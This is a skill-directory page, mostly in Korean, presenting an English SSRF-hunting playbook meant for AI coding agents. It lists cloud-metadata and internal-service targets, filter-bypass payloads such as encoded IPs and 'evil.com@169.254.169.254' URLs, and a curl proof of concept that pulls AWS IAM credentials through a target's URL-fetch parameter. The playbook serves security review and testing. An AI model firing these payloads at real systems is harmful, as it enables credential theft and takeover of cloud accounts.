본문으로 건너뛰기
Skillpedia
보안6.5k · #13972

ssrf

하는 일

이 스킬은 공격자가 고른 주소로 앱이 요청을 보내도록 속는 서버 측 요청 위조를 찾기 위한 플레이북입니다. 자신의 코드를 검토하는 개발자와 검토자를 위한 스킬입니다.

사용하는 경우

  • ✓개발자가 사용자가 보낸 URL을 제한 없이 서버가 가져오는지 확인해 달라고 요청할 때.
  • ✓에이전트가 클라우드 메타데이터 주소나 내부 관리 패널을 호출하는 코드를 검토할 때.
  • ✓팀이 사용자가 준 주소를 받는 언어별 HTTP 클라이언트 호출 목록을 원하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리 허가된 앱에서 사용자가 서버가 내부 주소를 가져오게 만들 수 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 HTTP 클라이언트 호출을 찾고, 사용자 입력을 그 호출까지 추적하며, 앱이 내부 주소와 클라우드 메타데이터 엔드포인트를 막는지 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

SSRF Hunting Playbook

SSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.

1. Sources (user-controlled input that becomes a URL)

Look for any parameter that gets fed into an HTTP client:

  • Python: requests.get(user_url), httpx.get, urllib.request.urlopen, aiohttp.get
  • Node: fetch(userUrl), axios.get, http.request, got, node-fetch
  • Java: HttpURLConnection, HttpClient.send, URL.openConnection, OkHttpClient
  • Go: http.Get(u), http.NewRequest, net.Dial("tcp", u)
  • Ruby: Net::HTTP.get, URI.open, Faraday.get
  • PHP: file_get_contents($url), curl_exec, fsockopen

Grep patterns to run via bash:

semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src

2. Sinks that make SSRF worth reporting

Sink Impact
http://169.254.169.254/ (AWS IMDS) IAM role creds → full AWS takeover
http://metadata.google.internal/ GCP service-account token
http://169.254.169.254/metadata/v1/ Azure IMDS
http://127.0.0.1:6379/ (Redis) Unauthenticated RCE via Lua eval / cron
http://127.0.0.1:9200/ Elasticsearch data leak + RCE
http://127.0.0.1:2375/ Docker daemon — container escape
gopher://, dict://, file:// Protocol smuggling (SMTP, memcached)
Internal *.svc.cluster.local Kubernetes service mesh lateral

3. Bypass classes (why scanners miss real bugs)

  1. DNS rebinding — resolve to public first, then 127.0.0.1 on second lookup. Look for caches that don't pin IP across the fetch.
  2. IPv6 literal — [::1], [::ffff:127.0.0.1], [::]
  3. Decimal / octal / hex encoding — 0x7f.0.0.1, 0177.0.0.1, 2130706433
  4. URL parser confusion — http://evil.com@169.254.169.254/, http://169.254.169.254#.evil.com/
  5. IDN unicode tricks — homoglyph domains that normalize to metadata hosts
  6. Redirect chains — allowlist checks the initial URL, not the 302 target
  7. IMDSv2 required — but if the HTTP client sets a Metadata-Token header on redirect, v2 still leaks
  8. 30x → file:// — server follows redirects across protocols

4. Taint audit workflow

  1. Enumerate sources with grep + semgrep (above).
  2. For each hit, follow the data flow manually:
    • Is there a urlparse check? Does it check .hostname (spoofable) or the raw URL (safe)?
    • Is there an IP allowlist check before or after DNS resolution? (Only before-resolution checks are TOCTOU-safe.)
    • Is redirect following disabled? allow_redirects=False in requests.
  3. Each confirmed source-to-sink path → kg_add_node(kind="vulnerability", ...).
  4. Link the vuln to its file+line via a code_location node.

5. PoC template

# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}

Success patterns for validate_finding:

  • AccessKeyId
  • SecretAccessKey
  • Token.*[A-Za-z0-9+/]{100,}

Negative control:

  • Same request with the URL param blanked or set to https://example.com/
  • Negative patterns: Missing url, 400, example.com

6. Default CVSS for confirmed SSRF

Variant CVSS vector Score
Blind SSRF, external only AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 5.3
SSRF → internal services (no pivot) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 7.5
SSRF → cloud metadata → IAM credential AV:N/AC:L/PR:N/UI:N/S:C/C:H
자주 묻는 질문

서버 측 요청 위조란 무엇인가요?

서버가 사용자를 대신해, 사용자가 접근하면 안 되는 주소로 요청을 보내는 경우입니다.

왜 영향이 크다고 보나요?

스킬은 클라우드 메타데이터나 내부 관리 도구에 닿아 자격 증명이 노출될 수 있다고 설명합니다.

스킬이 언급하는 우회 방법은 무엇인가요?

간단한 주소 필터를 무력화할 수 있는 DNS 리바인딩 같은 기법을 언급합니다.

상세 정보

작성자의 원본 설명

Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13972
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬